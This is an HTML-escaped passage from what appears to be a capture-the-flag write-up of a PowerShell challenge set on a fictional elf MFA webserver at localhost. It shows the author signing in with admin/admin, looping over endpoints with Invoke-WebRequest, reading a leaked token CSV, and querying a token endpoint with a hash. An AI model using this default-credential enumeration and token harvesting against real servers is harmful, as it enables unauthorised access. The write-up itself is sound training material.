&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;                    ----------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    🪖 Elf MFA webserver🪖&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    ⚔️ Grab your tokens &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; access to weaponry ⚔️&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    ⚔️ Warning! Sensitive information on the server, protect a…&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;RawContent        : HTTP/1.1 200 OK&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Server: Werkzeug/3.0.6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Server: Python/3.10.12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Date: Tue, 19 Nov 2024 10:35:53 GMT&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Connection: close&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    Content-Length: 3475&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    &amp;lt;html&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    &amp;lt;body&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    &amp;lt;pre&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    ---…&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Headers           : &amp;#123;[Server, System.String[]], [Date, System.String[]], [Connection, System.S&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    tring[]], [Content-Type, System.String[]]…&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Images            : &amp;#123;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;InputFields       : &amp;#123;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Links             : &amp;#123;@&amp;#123;outerHTML=&amp;lt;a href=&lt;span class=&#34;string&#34;&gt;&amp;quot;http://localhost:1225/endpoints/1&amp;quot;&lt;/span&gt;&amp;gt;Endpoint 1&amp;lt;/a&amp;gt;; t&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    agName=A; href=http://localhost:1225/endpoints/1&amp;#125;, @&amp;#123;outerHTML=&amp;lt;a href=&lt;span class=&#34;string&#34;&gt;&amp;quot;ht&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;                    tp://localhost:1225/endpoints/2&amp;quot;&lt;/span&gt;&amp;gt;Endpoint 2&amp;lt;/a&amp;gt;; tagName=A; href=http://lo&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    calhost:1225/endpoints/2&amp;#125;, @&amp;#123;outerHTML=&amp;lt;a href=&lt;span class=&#34;string&#34;&gt;&amp;quot;http://localhost:1225/endp&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;                    oints/3&amp;quot;&lt;/span&gt;&amp;gt;Endpoint 3&amp;lt;/a&amp;gt;; tagName=A; href=http://localhost:1225/endpoints/3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                    &amp;#125;, @&amp;#123;outerHTML=&amp;lt;a href=&lt;span class=&#34;string&#34;&gt;&amp;quot;http://localhost:1225/endpoints/4&amp;quot;&lt;/span&gt;&amp;gt;Endpoint 4&amp;lt;/a&amp;gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                     tagName=A; href=http://localhost:1225/endpoints/4&amp;#125;…&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;RawContentLength  : 3475&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;RelationLink      : &amp;#123;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;6&#34;&gt;
&lt;li&gt;There are too many endpoints here.&lt;br/&gt;Use a loop to download the contents of each page. What page has 138 words?&lt;br/&gt;When you find it, communicate with the URL and print the contents to the terminal.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$links&lt;/span&gt; = (&lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt;).Links.Href&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;foreach&lt;/span&gt; (&lt;span class=&#34;variable&#34;&gt;$url&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$links&lt;/span&gt;) &amp;#123;                                                      &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;variable&#34;&gt;$words&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Uri&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$url&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;Measure-Object&lt;/span&gt; –Word | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-expand&lt;/span&gt; Words&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; (&lt;span class=&#34;variable&#34;&gt;$words&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;-eq&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;138&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$url&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-expand&lt;/span&gt; Content&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;title&lt;/span&gt;&amp;gt;&lt;/span&gt;MFA token scrambler&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;title&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;body&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;Yuletide cheer fills the air,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    A season of love, of care.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    The world is bright, full of light,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    As we celebrate this special night.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    The tree is trimmed, the stockings hung,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Carols are sung, bells are rung.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Families gather, friends unite,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    In the glow of the fire’s light.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    The air is filled with joy and peace,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    As worries and cares find release.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Yuletide cheer, a gift so dear,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Brings warmth and love to all near.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    May we carry it in our hearts,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    As the season ends, as it starts.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Yuletide cheer, a time to share,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    The love, the joy, the care.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    May it guide us through the year,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    In every laugh, in every tear.&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Yuletide cheer, a beacon bright,&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;    Guides us through the winter night &lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt; Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;body&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;7&#34;&gt;
&lt;li&gt;There seems to be a csv file in the comments of that page.&lt;br/&gt;That could be valuable, read the contents of that csv-file!&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/token_overview.csv &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-expand&lt;/span&gt; Content&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;010f2cc580f74521c86215b7374eead6,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29860c67296d808bc6506175a8cbb422,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7b7f6891b6b6ab46fe2e85651db8205f,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45ffb41c4e458d08a8b08beeec2b4652,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;d0e6bfb6a4e6531a0c71225f0a3d908d,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;bd7efda0cb3c6d15dd896755003c635c,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5be8911ced448dbb6f0bd5a24cc36935,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;1acbfea6a2dad66eb074b17459f8c5b6,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;0f262d0003bd696550744fd43cd5b520,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8cac896f624576d825564bb30c7250eb,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8ef6d2e12a58d7ec521a56f25e624b80,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;b4959370a4c484c10a1ecc53b1b56a7d,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38bdd7748a70529e9beb04b95c09195d,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8d4366f08c013f5c0c587b8508b48b15,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;67566692ca644ddf9c1344415972fba8,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8fbf4152f89b7e309e89b9f7080c7230,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;936f4db24a290032c954073b3913f444,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;cb722d0b55805cd6feffc22a9f68177d,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;724d494386f8ef9141da991926b14f9b,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;67c7aef0d5d3e97ad2488babd2f4c749,REDACTED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] SYSTEMLOG&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [-] ERROR, memory corruption, not all endpoints have been REDACTED&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] Verification endpoint still active&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] http://127.0.0.1:1225/tokens/&amp;lt;sha256sum&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] Contact system administrator to unlock panic mode&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;# [*] Site functionality at minimum to keep weapons active&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;8&#34;&gt;
&lt;li&gt;Luckily the defense mechanisms were faulty!&lt;br/&gt;There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/tokens/&lt;span class=&#34;number&#34;&gt;4216&lt;/span&gt;B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Expand&lt;/span&gt; Content&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
